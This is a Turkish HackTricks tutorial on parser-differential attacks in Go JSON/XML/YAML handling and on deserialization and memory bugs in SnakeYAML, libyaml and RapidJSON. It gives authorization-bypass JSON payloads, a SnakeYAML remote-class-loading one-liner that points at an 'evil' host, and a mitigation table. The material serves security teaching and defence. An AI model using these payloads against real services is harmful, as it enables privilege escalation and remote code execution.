JSON, XML & Yaml Hacking & Sorunlar
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Go JSON Decoder
Aşağıdaki sorunlar Go JSON’da tespit edildi, ancak diğer dillerde de var olabilir. Bu sorunlar this blog post adresinde yayımlandı.
Go’nin JSON, XML ve YAML ayrıştırıcıları, kötüye kullanılabilecek tutarsızlıklar ve güvensiz varsayılanlar uzun bir geçmişine sahiptir; bunlar bypass authentication, escalate privileges, veya exfiltrate sensitive data için kötüye kullanılabilir.
(Un)Marshaling Unexpected Data
Amaç, bir saldırganın hassas alanları okuyup/yazmasına izin veren struct’ları istismar etmektir (örn., IsAdmin, Password).
- Örnek Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Yaygın Zafiyetler
- Missing tag (no tag = field is still parsed by default):
type User struct {
Username string
}
Payload:
{"Username": "admin"}
-işaretinin yanlış kullanımı:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Payload:
{"-": true}
✔️ Bir alanın (un)marshaled edilmesini engellemenin doğru yolu:
type User struct {
IsAdmin bool `json:"-"`
}
Parser Farklılıkları
Amaç, farklı parser’ların aynı payload’u farklı yorumlamasından yararlanarak bypass authorization yapmaktır; örneğin:
- CVE-2017-12635: Apache CouchDB bypass via duplicate keys
- 2022: Zoom 0-click RCE via XML parser inconsistency
- GitLab 2025 SAML bypass via XML quirks
1. Yinelenen Alanlar:
Go’nun encoding/json son alanı alır.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Diğer ayrıştırıcılar (ör. Java’s Jackson) first’ı alabilir.
2. Büyük/küçük harf duyarsızlığı: Go büyük/küçük harfe duyarsızdır:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Unicode hileleri bile işe yarıyor:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Servisler arası uyumsuzluk: Düşünün:
- Go ile yazılmış Proxy
- Python ile yazılmış AuthZ servisi
Saldırgan gönderir:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python
UserAction’ı görür, izin verir - Go
AdminAction’ı görür, çalıştırır
Veri Formatı Karışıklığı (Polyglots)
Amaç, formatları karıştıran (JSON/XML/YAML) veya parser hatalarında açık bırakan (fail open) sistemleri istismar etmektir, örneğin:
- CVE-2020-16250: HashiCorp Vault, STS XML yerine JSON döndüğünde JSON’u XML ayrıştırıcısıyla işledi.
Saldırganın kontrolü:
Accept: application/jsonbaşlığı- JSON gövdesi üzerinde kısmi kontrol
Go’nun XML ayrıştırıcısı yine de bunu ayrıştırdı ve enjekte edilen kimliğe güvendi.
- Crafted payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
Sonuç:
- Go JSON parser:
Action_2(büyük/küçük harfe duyarsız + sonuncu kazanır) - YAML parser:
Action_1(büyük/küçük harf duyarlı) - XML parser: string içinde
"Action_3"’ü ayrıştırır
Önemli Ayrıştırıcı Zafiyetleri (2023-2025)
Aşağıdaki herkese açık olarak istismar edilebilen sorunlar, güvensiz ayrıştırmanın çok dilli bir problem olduğunu — sadece Go’ya özgü olmadığını — gösteriyor.
SnakeYAML Deserialization RCE (CVE-2022-1471)
- Etkilenir:
org.yaml:snakeyaml< 2.0 (Spring-Boot, Jenkins vb. tarafından kullanılır). - Kök neden:
new Constructor()deserializes arbitrary Java classes, allowing gadget chains that culminate in remote-code execution. - One-liner PoC (zafiyetli hostta hesap makinesini açacaktır):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Düzeltme / Hafifletme:
- ≥2.0’a yükseltin (
SafeLoadervarsayılan olarak kullanılır). - Eski sürümlerde açıkça
new Yaml(new SafeConstructor())kullanın.
libyaml Double-Free (CVE-2024-35325)
- Etkilenir:
libyaml≤0.2.5 (birçok dil bağlayıcısı tarafından kullanılan C kütüphanesi). - Sorun:
yaml_event_delete()’nin iki kez çağrılması, saldırganların DoS’a veya bazı senaryolarda heap exploitation’a dönüştürebileceği bir double-free’ye yol açar. - Durum: Upstream “API misuse” olarak reddetti, ancak Linux dağıtımları işaretçiyi savunmacı şekilde null-free yapan yamalı 0.2.6 sürümünü paketledi.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Etkilenir: Tencent RapidJSON commit
8269bc2’den (<1.1.0-patch-22) önceki sürümler. - Hata:
GenericReader::ParseNumber()içinde kontrolsüz aritmetik, saldırganların sarmalayan ve heap’i bozacak büyük sayısal literal’ler oluşturmasına izin verir — bu da nihayetinde ortaya çıkan nesne grafiği yetkilendirme kararlarında kullanıldığında privilege-escalation’a olanak sağlayabilir.
🔐 Hafifletmeler (Güncellendi)
| Risk | Düzeltme / Öneri |
|---|---|
| Bilinmeyen alanlar (JSON) | decoder.DisallowUnknownFields() |
| Tekrarlayan alanlar (JSON) | ❌ stdlib’da düzeltme yok — jsoncheck ile doğrulayın |
| Büyük/küçük harfe duyarsız eşleme (Go) | ❌ Düzeltme yok — struct tag’larını doğrulayın + girdiyi önceden kanonikleştirin |
| XML çöp verisi / XXE | Güçlendirilmiş bir ayrıştırıcı kullanın (encoding/xml + DisallowDTD) |
| YAML bilinmeyen anahtarlar | yaml.KnownFields(true) |
| Unsafe YAML deserialization | SafeConstructor kullanın / SnakeYAML ≥2.0’a yükseltin |
| libyaml ≤0.2.5 double-free | 0.2.6’ya veya dağıtım tarafından yamalanmış sürüme yükseltin |
| RapidJSON <patched commit | En son RapidJSON ile derleyin (≥Temmuz 2024) |
See also
Referanslar
- Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

